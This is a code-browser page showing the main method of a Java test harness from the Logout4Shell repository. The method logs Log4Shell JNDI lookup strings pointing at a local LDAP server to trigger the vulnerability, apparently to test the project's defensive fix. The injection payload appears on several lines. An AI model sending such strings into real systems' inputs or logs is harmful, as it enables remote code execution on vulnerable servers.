MCPcopy Create free account
hub / github.com/Cybereason/Logout4Shell / main

Method main

src/main/java/Log4j.java:27–48  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

25 }
26
27 public static void main(String[] args) {
28 boolean useThreadLocalAttack = false;
29 for (int i = 0; i < args.length ; ++i) {
30 if (args[i].equalsIgnoreCase("-t")) {
31 System.out.println("Will use ThreadContext as attack vector");
32 useThreadLocalAttack = true;
33 }
34 }
35 if (useThreadLocalAttack) {
36 configureLoggerWithThreadContext();
37 Logger logger = LogManager.getLogger();
38 ThreadContext.put("header", "${jndi:ldap://127.0.0.1:1389/a}");
39 logger.error("Vulnerable through thread context - 1");
40 logger.error("Vulnerable through thread context - 2");
41 } else {
42 Logger logger = LogManager.getLogger();
43 // exploit will be executed
44 logger.error("${jndi:ldap://127.0.0.1:1389/a}");
45 // no more exploits will be executed from here TBD - try with another file
46 logger.error("${jndi:ldap://127.0.0.1:1389/a}");
47 }
48 }
49}

Callers

nothing calls this directly

Tested by

no test coverage detected